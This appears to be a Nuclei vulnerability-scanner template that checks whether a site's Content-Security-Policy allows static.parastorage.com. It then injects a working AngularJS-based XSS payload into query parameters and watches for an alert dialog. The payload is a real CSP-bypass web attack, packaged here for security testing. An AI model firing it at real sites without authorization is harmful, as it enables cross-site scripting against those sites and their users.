id: parastorage-static-csp-bypass
info:
name: Content-Security-Policy Bypass - Parastorage Static
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,parastorage-static,vuln
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "parastorage.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: parastorage_static_csp_xss
args:
max-duration: 5s
payloads:
injection:
- <body ng-app ng-csp><script src="https://static.parastorage.com/services/third-party/angularjs/1.4.5/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "parastorage_static_csp_xss == true"
# digest: 4b0a00483046022100bc65c3b71ac757e82b58fe0161bcb02c336e6ed5b50574067b8c723b655b8a69022100e2fdd06d7ab67b2d92f94816c9e559505853a5efccc4e93fa60ee6e6de25b33f:922c64590222798bb761d5b6d8e72950